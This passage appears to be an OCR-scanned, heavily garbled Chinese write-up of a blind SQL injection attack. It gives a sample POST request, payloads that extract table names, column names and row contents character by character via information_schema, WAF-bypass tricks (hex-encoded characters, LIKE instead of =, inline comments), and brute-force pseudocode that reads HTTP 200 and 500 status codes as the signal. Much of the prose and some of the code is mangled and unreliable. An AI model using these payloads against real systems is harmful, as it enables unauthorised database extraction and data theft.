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POST /index.php HTTP/1.1
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Connection: close

Accept-Encoding: gzip, deflate

Accept: */*

Content-Type: multipart/form-data; boundary=dc30b7aab06d4aff91d4285d7e60d4f3

--dc30b7aabe6d4aff91d4285d7e60d4f3
Content-Disposition: form-data; name="126"
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SELECT c1,c2,c3 FROM t1 WHERE X-MARK;
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SELECT c1,c2,c3 FROM t1 WHERE ‘'a‘='a’;
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SELECT c1,c2,c3 FROM t1 WHERE 'a‘='b’;
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' =
(SELECT SUBSTRING(table_name, 2, 1)
FROM information_schema.tables
LIMIT 4, 1

)

ERSHMT SQL HiffERS S EHAT:

SELECT cl1,c2,c3 FROM t1

WHERE 'a' =
(SELECT SUBSTRING(table_name, 2, 1)
FROM information_schema.tables
LIMIT 4, 1

)

ttn, HWRIARBALTE 11, B2RBEEED 0T ENR DB RAZKI LR
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3t =
(SELECT SUBSTRING(column_name, 1, 1)
FROM information_schema.columns
WHERE table_name = "t1"
LIMIT 0, 1

)
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‘at =
(SELECT SUBSTRING(c1, 1, 1)
FROM t1
LIMIT @, 1

)
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'a' LIKE 'b'

X ERE BIEN INJECTION 1K 2R R

'a' LIKE

(SELECT SUBSTRING(column_name, 1, 1)
FROM information_schema.columns
WHERE table_name = "t1"
LIMIT o0, 1

)
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‘a' LIKE 'b'

TR ERNIREHAE T RREY LIKE, MREREATFR . PRSI EER N AKX LAREEIER.
AT BRIZAFEE, REFW TN, WAF FERATIH -

'ox61' LIKE 'b’
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'ox61' LIKE 'a’
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'0x61' LIKE 'b’

ARz, HigEA False.

w2 INJECTION 1 IR

'ox61" LIKE

(SELECT SUBSTRING(column_name, 1, 1)
FROM information_schema.columns
WHERE table_name = "t1"
LIMIT 0, 1

)
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SELECT c1,c2,c3 FROM t1 WHERE '0x61' LIKE 'b‘’

B ZATERR TR, BB R TR I 2 .

SELECT/*trick comment*/ cl1,c2,c3
FROM/*trick comment*/ t1
WHERE 'Ox61' LIKE 'b'

Bk, #HxXFTENMAZ INJECTION 1.k, SHIMTER:

'ox61" LIKE

(SELECT/*trick comment*/ SUBSTRING(column_name, 1, 1)
FROM/*trick comment*/ information_schema.columns
WHERE table_name = "t1"
LIMIT o0, 1

)

I EEARREHIEN, 8RB ERLE R 5 RIE K Web BLAIR, Web ik 5583 #Ima M 4200 OK”, i
RETFRF aMER 1 KB ELRE D FRILE.



Jon3 i ik

RNT BN G MBI EPERBIREANE, RE T —A Python BIARMEXANREE M. ZEAK ARG
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# assert names of columns and table name is known
alphabet = [a,b,c,...,Y,Z]
characterPosition = 1 # the position of the character we are bruteforcing
for rowNumber in [0,20]:
for columnName in columns:
for character in alphabet:
sqlInjection = """’
ox{hex_encode(character)} LIKE (
SELECT/*trick comment*/ SUBSTRING({columnName}, characterPosition,1)
FROM/*trick comment*/ tableName
LIMIT {rowNumber}, 1
)

inject sqlInjection is POST request body
if response.status == 200:

result += character

recurse function with characterPosition++
elif response.status == 500:

continue with next character in alphabet

return result
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